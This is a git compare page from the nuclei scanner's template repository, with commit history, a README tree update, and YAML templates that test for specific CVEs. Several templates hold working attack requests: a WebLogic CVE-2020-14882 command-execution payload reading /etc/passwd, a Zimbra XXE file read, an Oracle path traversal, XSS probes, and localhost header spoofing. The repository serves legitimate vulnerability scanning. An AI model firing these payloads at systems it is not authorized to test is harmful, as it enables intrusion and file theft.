Compare commits

...
36 Commits
Author SHA1 Message Date
bauthard b85f5656c8 Merge pull request #606 from CasperGN/cve-2020-26214
Add cve-2020-26214 detection
2020-11-07 16:42:45 +05:30
Casper Guldbech Nielsen e9b57b3e9a Add cve-2020-26214 detection
Signed-off-by: Casper Guldbech Nielsen <[email protected]>
2020-11-07 11:47:02 +01:00
bauthard f8eaaae3cb Merge pull request #604 from aancw/master
Add Kibana Service Technology
2020-11-06 16:25:19 +05:30
bauthard de55e6439d Update kibana-detect.yaml 2020-11-06 16:24:02 +05:30
bauthard beeb8ca5b7 Update jira-exploitaiton-workflow.yaml 2020-11-06 15:59:10 +05:30
bauthard cd90698cb5 Adding cve-2019-3402 2020-11-06 15:58:11 +05:30
bauthard 740f726208 Merge pull request #605 from savushkin-yauheni/patch-2
add new vulns to wordpress-workflow.yaml
2020-11-06 13:55:20 +05:30
Zhenya Savushkin 7c1b99b2ac add new vulns to wordpress-workflow.yaml 2020-11-06 10:53:49 +03:00
Aan d2c0b785ba Simplifying Yaml Format 2020-11-04 16:40:46 +07:00
Aan 9893610bb1 Add Kibana Service Technology 2020-11-04 15:49:18 +07:00
bauthard 6adbc5e25a Merge pull request #603 from geeknik/patch-14
Update top-15-xss.yaml
2020-11-04 10:49:56 +05:30
Geeknik Labs acae0a9d48 Update top-15-xss.yaml
Fine tuning the template. Sometimes a host will redirect the original request to another page or subdomain and the XSS happens on that page instead of with the original request. I believe a max-redirects of 1 should be sufficient.
2020-11-03 18:00:38 +00:00
bauthard 449786eb6b Merge pull request #600 from geeknik/patch-13
Update basic-xss-prober.yaml
2020-11-02 20:58:27 +05:30
bauthard a32e2e7540 Update basic-xss-prober.yaml 2020-11-02 20:55:36 +05:30
Geeknik Labs 5e911f5cd9 Update basic-xss-prober.yaml
Hoping to cut down on false positives by ignoring reflections from JSON API endpoints
2020-11-02 15:04:05 +00:00
bauthard b239b4ff56 Merge pull request #599 from dwisiswant0/fix/CVE-2020-14882
Update CVE-2020-14882 payload & with positive matchers
2020-11-02 13:33:12 +05:30
Dwi Siswanto b175c2117c 🔥 Update CVE-2020-14882 payload & with positive matchers 2020-11-02 14:23:12 +07:00
bauthard 73c94b174c moved to another branch for the fix. 2020-11-01 12:53:33 +05:30
bauthard 278982a441 Merge pull request #598 from geeknik/patch-12
Update server-status-localhost.yaml
2020-10-31 11:07:27 +05:30
Geeknik Labs a5f8b422e0 Update server-status-localhost.yaml 2020-10-30 20:33:50 +00:00
bauthard 8503dd1471 fixing mistake 2020-10-30 11:01:43 +05:30
bauthard 048cc7183c Merge pull request #596 from dwisiswant0/add/CVE-2020-14882
Add CVE-2020-14882
2020-10-29 19:16:49 +05:30
Dwi Siswanto baaba9036e 🔥 Add CVE-2020-14882 2020-10-29 19:58:49 +07:00
bauthard 3732e52842 Update globalprotect-panel.yaml 2020-10-29 17:21:44 +05:30
bauthard 0c3b87f943 Merge pull request #595 from projectdiscovery/z-xxe
adding cve-2019-9670
2020-10-29 16:24:59 +05:30
bauthard 0c63ebfd8f adding cve-2019-9670 2020-10-29 16:23:46 +05:30
bauthard ece16666de Merge pull request #594 from palaziv/master
add template for CVE-2020-14864
2020-10-29 15:49:04 +05:30
bauthard ca1c3e7f72 Update CVE-2020-14864.yaml 2020-10-29 15:43:50 +05:30
palaziv 54f73f80e1 add template for CVE-2020-14864 2020-10-29 10:54:06 +01:00
bauthard 341796530b readme update 2020-10-28 10:23:42 +05:30
bauthard e97d31d6ee Merge pull request #550 from tungpun/patch-1
Updated exposed-svn.yaml to reduce F/P
2020-10-28 00:33:46 +05:30
bauthard 471636ffde Update exposed-svn.yaml 2020-10-28 00:32:15 +05:30
bauthard 984113a638 Merge pull request #551 from tungpun/patch-2
Updated git-config.yam to reduce F/P
2020-10-28 00:29:11 +05:30
bauthard cd63c3802d matcher updates 2020-10-28 00:26:58 +05:30
Tung Pun 2908710e43 Updated git-config.yam to reduce F/P 2020-10-11 16:32:03 +07:00
Tung Pun ff2cc5acb7 Updated exposed-svn.yaml to reduce F/P 2020-10-11 16:30:16 +07:00
15 changed files with 250 additions and 22 deletions

No files matched your search

+31 -16
View File
@@ -10,7 +10,7 @@ Templates are the core of [nuclei scanner](https://github.com/projectdiscovery/n
An overview of the nuclei template directory including number of templates and HTTP request associated with each directory.
### nuclei templates `v7.1.2`
### nuclei templates `v7.2.0`
| Template Directory | Number of Templates |
|---------------------------|--------------------------|
@@ -28,7 +28,7 @@ An overview of the nuclei template directory including number of templates and H
| vulnerabilities |33 |
| workflows |15 |
### nuclei templates `v7.1.2` tree overview
### nuclei templates `v7.2.0` tree overview
<details>
<summary>Template Directory</summary>
@@ -36,6 +36,7 @@ An overview of the nuclei template directory including number of templates and H
```
├── cves
│   ├── CVE-2005-2428.yaml
│   ├── CVE-2013-2251.yaml
│   ├── CVE-2014-6271.yaml
│   ├── CVE-2017-10075.yaml
│   ├── CVE-2017-11444.yaml
@@ -43,7 +44,6 @@ An overview of the nuclei template directory including number of templates and H
│   ├── CVE-2017-14849.yaml
│   ├── CVE-2017-5638.yaml
│   ├── CVE-2017-7391.yaml
│   ├── CVE-2017-7529.yaml
│   ├── CVE-2017-7615.yaml
│   ├── CVE-2017-9506.yaml
│   ├── CVE-2017-9841.yaml
@@ -96,6 +96,7 @@ An overview of the nuclei template directory including number of templates and H
│   ├── CVE-2019-19781.yaml
│   ├── CVE-2019-19908.yaml
│   ├── CVE-2019-19985.yaml
│   ├── CVE-2019-20141.yaml
│   ├── CVE-2019-2588.yaml
│   ├── CVE-2019-2725.yaml
│   ├── CVE-2019-3396.yaml
@@ -118,16 +119,15 @@ An overview of the nuclei template directory including number of templates and H
│   ├── CVE-2020-12116.yaml
│   ├── CVE-2020-12720.yaml
│   ├── CVE-2020-13167.yaml
│   ├── CVE-2020-13379.yaml
│   ├── CVE-2020-14179.yaml
│   ├── CVE-2020-14181.yaml
│   ├── CVE-2020-15129.yaml
│   ├── CVE-2020-15505.yaml
│   ├── CVE-2020-15920.yaml
│   ├── CVE-2020-16139.yaml
│   ├── CVE-2020-16952.yaml
│   ├── CVE-2020-17505.yaml
│   ├── CVE-2020-17506.yaml
│   ├── CVE-2020-2034.yaml
│   ├── CVE-2020-2096.yaml
│   ├── CVE-2020-2140.yaml
│   ├── CVE-2020-24223.yaml
@@ -155,6 +155,7 @@ An overview of the nuclei template directory including number of templates and H
│   ├── CVE-2020-8512.yaml
│   ├── CVE-2020-8982.yaml
│   ├── CVE-2020-9047.yaml
│   ├── CVE-2020-9344.yaml
│   ├── CVE-2020-9484.yaml
│   ├── CVE-2020-9496.yaml
│   ├── CVE-2020-9757.yaml
@@ -179,6 +180,7 @@ An overview of the nuclei template directory including number of templates and H
│   ├── drupal-install.yaml
│   ├── ds_store.yaml
│   ├── elasticsearch.yaml
│   ├── elmah-log-file.yaml
│   ├── error-logs.yaml
│   ├── exposed-kibana.yaml
│   ├── exposed-svn.yaml
@@ -190,6 +192,7 @@ An overview of the nuclei template directory including number of templates and H
│   ├── jolokia.yaml
│   ├── laravel-env.yaml
│   ├── lazy-file.yaml
│   ├── magento-config.yaml
│   ├── ntlm-directories.yaml
│   ├── php-errors.yaml
│   ├── phpinfo.yaml
@@ -216,7 +219,8 @@ An overview of the nuclei template directory including number of templates and H
│   └── zip-backup-files.yaml
├── fuzzing
│   ├── arbitrary-file-read.yaml
│   └── directory-traversal.yaml
│   ├── directory-traversal.yaml
│   └── generic-lfi-fuzzing.yaml
├── generic-detections
│   ├── basic-xss-prober.yaml
│   ├── general-tokens.yaml
@@ -238,12 +242,11 @@ An overview of the nuclei template directory including number of templates and H
│   ├── jenkins-asyncpeople.yaml
│   ├── jmx-console.yaml
│   ├── kubernetes-pods.yaml
│   ├── manage-engine-admanager-panel.yaml
│   ├── mobileiron-login.yaml
│   ├── mongo-express-web-gui.yaml
│   ├── netscaler-gateway.yaml
│   ├── network-camera-detect.yaml
│   ├── parallels-html-client.yaml
│   ├── pfsense-web-gui.yaml
│   ├── phpmyadmin-panel.yaml
│   ├── polycom-admin-detect.yaml
│   ├── pulse-secure-panel.yaml
@@ -251,16 +254,18 @@ An overview of the nuclei template directory including number of templates and H
│   ├── sap-netweaver-detect.yaml
│   ├── sap-recon-detect.yaml
│   ├── sonarqube-login.yaml
│   ├── sonicwall-management-panel.yaml
│   ├── sonicwall-sslvpn-panel.yaml
│   ├── sophos-fw-version-detect.yaml
│   ├── supervpn-panel.yaml
│   ├── swagger-panel.yaml
│   ├── tikiwiki-cms.yaml
│   ├── traefik-dashboard
│   ├── traefik-dashboard.yaml
│   ├── virtual-ema-detect.yaml
│   ├── weave-scope-dashboard-detect.yaml
│   ├── webeditors.yaml
│   └── workspaceone-uem-airWatch-dashboard-detect.yaml
│   ├── workspace-one-uem.yaml
│   └── workspaceone-uem-airwatch-dashboard-detect.yaml
├── payloads
│   ├── CVE-2020-5776.csv
│   └── CVE-2020-6287.xml
@@ -278,11 +283,13 @@ An overview of the nuclei template directory including number of templates and H
│   ├── jira-unauthenticated-user-picker.yaml
│   ├── jupyter-ipython-unauth.yaml
│   ├── larvel-debug.yaml
│   ├── manage-engine-ad-search.yaml
│   ├── missing-csp.yaml
│   ├── missing-hsts.yaml
│   ├── missing-x-frame-options.yaml
│   ├── put-method-enabled.yaml
│   ├── rack-mini-profiler.yaml
│   ├── salesforce-aura-misconfig.yaml
│   ├── sidekiq-dashboard.yaml
│   ├── springboot-detect.yaml
│   ├── unauthenticated-airflow.yaml
@@ -303,10 +310,12 @@ An overview of the nuclei template directory including number of templates and H
│   ├── favicon-detection.yaml
│   ├── github-enterprise-detect.yaml
│   ├── gitlab-detect.yaml
│   ├── google-storage.yaml
│   ├── graphql.yaml
│   ├── home-assistant.yaml
│   ├── jaspersoft-detect.yaml
│   ├── jira-detect.yaml
│   ├── kong-detect.yaml
│   ├── liferay-portal-detect.yaml
│   ├── linkerd-badrule-detect.yaml
│   ├── linkerd-ssrf-detect.yaml
@@ -314,6 +323,8 @@ An overview of the nuclei template directory including number of templates and H
│   ├── magmi-detect.yaml
│   ├── netsweeper-webadmin-detect.yaml
│   ├── nifi-detech.yaml
│   ├── oidc-detect.yaml
│   ├── pi-hole-detect.yaml
│   ├── prometheus-exporter-detect.yaml
│   ├── prometheus-exposed-panel.yaml
│   ├── s3-detect.yaml
@@ -323,10 +334,9 @@ An overview of the nuclei template directory including number of templates and H
│   ├── sql-server-reporting.yaml
│   ├── tech-detect.yaml
│   ├── tomcat-detect.yaml
│   ├── waf-detect.yaml
│   ├── weblogic-detect.yaml
│   ├── werkzeug-debugger-detect.yaml
│   └── what-waf-detect.yaml
├── test.yaml
│   └── werkzeug-debugger-detect.yaml
├── tokens
│   ├── amazon-mws-auth-token-value.yaml
│   ├── aws-access-key-value.yaml
@@ -337,7 +347,6 @@ An overview of the nuclei template directory including number of templates and H
│   ├── mailchimp-api-key.yaml
│   └── slack-access-token.yaml
├── vulnerabilities
│   ├── Symantec-Messaging-Gateway.yaml
│   ├── bullwark-momentum-series-directory-traversal.yaml
│   ├── cached-aem-pages.yaml
│   ├── couchdb-adminparty.yaml
@@ -356,20 +365,26 @@ An overview of the nuclei template directory including number of templates and H
│   ├── pdf-signer-ssti-to-rce.yaml
│   ├── rce-shellshock-user-agent.yaml
│   ├── rce-via-java-deserialization.yaml
│   ├── rconfig-rce.yaml
│   ├── sassy-social-share.yaml
│   ├── sick-beard-xss.yaml
│   ├── springboot-actuators-jolokia-xxe.yaml
│   ├── springboot-h2-db-rce.yaml
│   ├── symantec-messaging-gateway.yaml
│   ├── symfony-debugmode.yaml
│   ├── tikiwiki-reflected-xss.yaml
│   ├── tomcat-manager-pathnormalization.yaml
│   ├── twig-php-ssti.yaml
│   ├── vmware-vcenter-lfi.yaml
│   ├── vpms-auth-bypass.yaml
│   ├── w3c-total-cache-ssrf.yaml
│   ├── wems-manager-xss.yaml
│   ├── wordpress-duplicator-path-traversal.yaml
│   ├── wordpress-emails-verification-for-woocommerce.yaml
│   ├── wordpress-social-metrics-tracker.yaml
│   ├── wordpress-wordfence-xss.yaml
│   └── x-forwarded-host-injection.yaml
│   ├── wordpress-wpcourses-info-disclosure.yaml
│   └── zms-auth-bypass.yaml
└── workflows
├── artica-web-proxy-workflow.yaml
├── bigip-pwner-workflow.yaml
@@ -390,7 +405,7 @@ An overview of the nuclei template directory including number of templates and H
</details>
14 directories, **338 templates**.
14 directories, **352 templates**.
Please navigate to https://nuclei.projectdiscovery.io for detailed documentation to build new and your own custom templates and many example templates for easy understanding.
+24
View File
@@ -0,0 +1,24 @@
id: cve-2019-3402
info:
name: Jira - Reflected XSS using searchOwnerUserName parameter.
author: pdteam
severity: medium
description: The ConfigurePortalPages.jspa resource in Jira before version 7.13.3 and from version 8.0.0 before version 8.1.1 allows remote attackers to inject arbitrary HTML or JavaScript via a cross site scripting (XSS) vulnerability in the searchOwnerUserName parameter.
# Source:- https://gist.github.com/0x240x23elu/891371d46a1e270c7bdded0469d8e09c
requests:
- method: GET
path:
- "{{BaseURL}}//secure/ConfigurePortalPages!default.jspa?view=search&searchOwnerUserName=%3Cscript%3Ealert(1)%3C/script%3E&Search=Search"
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: word
words:
- "<script>alert(1)</script>"
part: body
+31
View File
@@ -0,0 +1,31 @@
id: cve-2019-9670
info:
name: Zimbra Collaboration XXE
description: "mailboxd component in Synacor Zimbra Collaboration Suite 8.7.x before 8.7.11p10 has an XML External Entity injection (XXE) vulnerability."
author: ree4pwn
severity: critical
requests:
- raw:
- |
POST /Autodiscover/Autodiscover.xml HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Content-Type: application/xml
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a">
<Request>
<EMailAddress>aaaaa</EMailAddress>
<AcceptableResponseSchema>&xxe;</AcceptableResponseSchema>
</Request>
</Autodiscover>
matchers:
- type: regex
regex:
- 'root:[x*]:0:0'
part: body
+24
View File
@@ -0,0 +1,24 @@
id: CVE-2020-14864
info:
name: 'Oracle Fusion - "getPreviewImage" Directory Traversal/Local File Inclusion'
description: 'Oracle Business Intelligence Enterprise Edition 5.5.0.0.0 / 12.2.1.3.0 / 12.2.1.4.0 - "getPreviewImage" Directory Traversal/Local File Inclusion'
author: Ivo Palazzolo (@palaziv)
# cvss: 'CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N'
severity: high
requests:
- method: GET
headers:
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
path:
- '{{BaseURL}}/analytics/saw.dll?bieehome&startPage=1' # grab autologin cookies
- '{{BaseURL}}/analytics/saw.dll?getPreviewImage&previewFilePath=/etc/passwd'
cookie-reuse: true
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: regex
regex:
- 'root:[x*]:0:0'
part: body
+46
View File
@@ -0,0 +1,46 @@
id: cve-2020-14882
info:
name: Oracle WebLogic Server Unauthenticated RCE (and Patch Bypass)
author: dwisiswant0
severity: critical
description: |
Vulnerability in the Oracle WebLogic Server
product of Oracle Fusion Middleware (component: Console).
Supported versions that are affected are 10.3.6.0.0,
12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0 and 14.1.1.0.0.
Easily exploitable vulnerability allows unauthenticated
attacker with network access via HTTP to compromise the server.
Successful attacks of this vulnerability can result in takeover.
# References:
# - https://testbnull.medium.com/weblogic-rce-by-only-one-get-request-cve-2020-14882-analysis-6e4b09981dbf
# - https://twitter.com/jas502n/status/1321416053050667009
# - https://youtu.be/JFVDOIL0YtA
# - https://github.com/jas502n/CVE-2020-14882#eg
requests:
- payloads:
exec:
- "type C:\\Windows\\win.ini" # Windows
- "cat /etc/passwd" # *nix
raw:
- |
POST /console/images/%252e%252e%252fconsole.portal HTTP/1.1
Host: {{Hostname}}
cmd: exec
Connection: close
Content-Type: application/x-www-form-urlencoded; charset=utf-8
_nfpb=false&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession%28%22var%20m%20%3D%20java.lang.Class.forName%28%22weblogic.work.ExecuteThread%22%29.getDeclaredMethod%28%22getCurrentWork%22%29%3B%20var%20currThread%20%3D%20java.lang.Thread.currentThread%28%29%3B%20var%20currWork%20%3D%20m.invoke%28currThread%29%3B%20var%20f2%20%3D%20currWork.getClass%28%29.getDeclaredField%28%22connectionHandler%22%29%3B%20f2.setAccessible%28true%29%3B%20var%20connectionHandler%20%3D%20f2.get%28currWork%29%3B%20var%20f3%20%3D%20connectionHandler.getClass%28%29.getDeclaredField%28%22request%22%29%3B%20f3.setAccessible%28true%29%3B%20var%20request%20%3D%20f3.get%28connectionHandler%29%3B%20var%20command%20%3D%20request.getHeader%28%22cmd%22%29%3B%20var%20response%20%3D%20request.getResponse%28%29%3B%20var%20isWin%20%3D%20java.lang.System.getProperty%28%22os.name%22%29.toLowerCase%28%29.contains%28%22win%22%29%3B%20var%20listCmd%20%3D%20new%20java.util.ArrayList%28%29%3B%20var%20p%20%3D%20new%20java.lang.ProcessBuilder%28%22%22%29%3B%20if%28isWin%29%7Bp.command%28%22cmd.exe%22%2C%20%22%2Fc%22%2C%20command%29%3B%20%7Delse%7Bp.command%28%22%2Fbin%2Fbash%22%2C%20%22-c%22%2C%20command%29%3B%20%7D%20p.redirectErrorStream%28true%29%3B%20var%20process%20%3D%20p.start%28%29%3B%20var%20output%20%3D%20process.getInputStream%28%29%3B%20var%20scanner%20%3D%20new%20java.util.Scanner%28output%29.useDelimiter%28%22%5C%5C%5C%5CA%22%29%3B%20var%20out%20%3D%20scanner.next%28%29%3B%20var%20outputStream%20%3D%20response.getServletOutputStream%28%29%3B%20outputStream.write%28out.getBytes%28%29%29%3B%20outputStream.flush%28%29%3B%20response.getWriter%28%29.write%28%22%22%29%3B%20currThread.interrupt%28%29%3B%22%29
matchers-condition: and
matchers:
- type: regex
regex:
- "root:[x*]:0:0:"
- "\\[(font|extension|file)s\\]"
condition: or
part: body
- type: status
status:
- 200
+34
View File
@@ -0,0 +1,34 @@
id: cve-2020-26214
info:
name: Alerta Authentication Bypass (CVE-2020-26214)
author: CasperGN
severity: critical
description: Alerta prior to version 8.1.0 is prone to Authentication Bypass when using LDAP as authorization provider and the LDAP server accepts Unauthenticated Bind reqests.
# Reference: https://github.com/advisories/GHSA-5hmm-x8q8-w5jh
# Reference: https://tools.ietf.org/html/rfc4513#section-5.1.2
requests:
- method: GET
path:
- '{{BaseURL}}/api/config'
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: regex
regex:
- 'name":"Alerta ([0-7]\.[0-9]\.[0-9]|8\.0.[0-9])"'
- 'name": "Alerta ([0-7]\.[0-9]\.[0-9]|8\.0.[0-9])"'
condition: or
extractors:
- type: regex
part: body
name: alerta-version
group: 1
regex:
- 'name":"Alerta ([0-7]\.[0-9]\.[0-9]|8\.0.[0-9])"'
- 'name": "Alerta ([0-7]\.[0-9]\.[0-9]|8\.0.[0-9])"'
+5
View File
@@ -11,6 +11,7 @@ requests:
- "{{BaseURL}}/.svn/entries"
- "{{BaseURL}}/.svn/prop-base/"
- "{{BaseURL}}/.svn/text-base/"
matchers-condition: and
matchers:
- type: regex
@@ -20,3 +21,7 @@ requests:
- type: status
status:
- 200
- type: dsl
dsl:
- 'contains(tolower(body), "<html") == false && contains(tolower(body), "</body>") == false'
+6 -1
View File
@@ -19,7 +19,12 @@ requests:
Content-Length: 1
Connection: close
matchers-condition: and
matchers:
- type: word
words:
- "[core]"
- "[core]"
- type: dsl
dsl:
- 'contains(tolower(body), "<html") == false && contains(tolower(body), "</body>") == false'
+3 -1
View File
@@ -2,7 +2,7 @@ id: server-status-localhost
info:
name: Server Status Disclosure
author: bauthard
author: bauthard & geeknik
severity: low
requests:
@@ -14,6 +14,8 @@ requests:
X-Remote-Addr: "127.0.0.1"
X-Forwarded-For: "127.0.0.1"
X-Originating-IP: "127.0.0.1"
X-Host: "127.0.0.1"
X-Forwarded-Host: "127.0.0.1"
path:
- "{{BaseURL}}/server-status"
matchers:
+9 -1
View File
@@ -2,7 +2,7 @@ id: basic-xss-prober
info:
name: Basic XSS Prober
author: nadino
author: nadino & geeknik
severity: low
# Basic XSS prober
@@ -12,7 +12,15 @@ requests:
- method: GET
path:
- "{{BaseURL}}/%61%27%22%3e%3c%69%6e%6a%65%63%74%61%62%6c%65%3e"
matchers-condition: and
matchers:
- type: word
words:
- "\"><injectable>"
part: body
- type: word
words:
- "application/json"
part: header
negative: true
+5 -3
View File
@@ -5,8 +5,8 @@ info:
# Name is the name of the template
name: Top 15 XSS Check
# Author is the name of the author for the template
# Prams:- q, s, search, id, action, keyword, query, page, keywords, url, view, cat, p
author: foulenzer
# Prams:- q, s, search, id, action, keyword, query, page, keywords, url, view, cat, name, key, p
author: foulenzer & geeknik
# Severity is the severity for the template.
severity: medium
# Description optionally describes the template.
@@ -16,6 +16,8 @@ requests:
- method: GET
path:
- "{{BaseURL}}/?q=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss%27%29%3E&s=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss%27%29%3E&search=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss%27%29%3E&id=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss%27%29%3E&action=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss%27%29%3E&keyword=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss%27%29%3E&query=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss%27%29%3E&page=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss%27%29%3E&keywords=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss%27%29%3E&url=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss%27%29%3E&view=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss%27%29%3E&cat=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss%27%29%3E&name=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss%27%29%3E&key=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss%27%29%3E&p=%27%3E%22%3Csvg%2Fonload=confirm%28%27testing-xss%27%29%3E"
redirects: true
max-redirects: 1
matchers-condition: and
matchers:
- type: word
@@ -25,4 +27,4 @@ requests:
- type: word
words:
- "text/html"
part: header
part: header
+4
View File
@@ -9,7 +9,11 @@ requests:
- method: GET
path:
- "{{BaseURL}}/global-protect/login.esp"
- "{{BaseURL}}/sslmgr"
matchers:
- type: word
words:
- "<title>GlobalProtect Portal</TITLE>"
- "<msg>Invalid parameters</msg>"
condition: or
+24
View File
@@ -0,0 +1,24 @@
id: kibana-detect
info:
name: Kibana Service Detection
author: petruknisme
severity: info
requests:
- method: GET
path:
- "{{BaseURL}}/login?next=%2F"
- "{{BaseURL}}/bundles/login.bundle.js"
- "{{BaseURL}}/bundles/kibana.style.css"
headers:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55
matchers:
- type: word
words:
- "<title>Kibana</title>"
- "kibanaLoaderWrap"
- "kibanaLoader"
- "xpack"
- "Elasticsearch B.V"
condition: or
@@ -19,6 +19,7 @@ variables:
jira_cve_6: cves/CVE-2020-14179.yaml
jira_cve_7: cves/CVE-2020-14181.yaml
jira_cve_8: cves/CVE-2019-8442.yaml
jira_cve_9: cves/CVE-2019-3402.yaml
logic:
|
@@ -36,4 +37,5 @@ logic:
jira_cve_6()
jira_cve_7()
jira_cve_8()
jira_cve_9()
}
+2
View File
@@ -17,6 +17,8 @@ variables:
wordpress_tmm_db_migrate: files/wordpress-tmm-db-migrate.yaml
wordpress_social_metrics_tracker: vulnerabilities/wordpress-social-metrics-tracker.yaml
w3c_total_cache_ssrf: vulnerabilities/w3c-total-cache-ssrf.yaml
wordpress_wpcourses_info_disclosure: vulnerabilities/wordpress-wpcourses-info-disclosure.yaml
sassy_social_share: vulnerabilities/sassy-social-share.yaml
wordpress_cve: cves/CVE-2019-9978.yaml
wordpress_cve_2: cves/CVE-2019-6715.yaml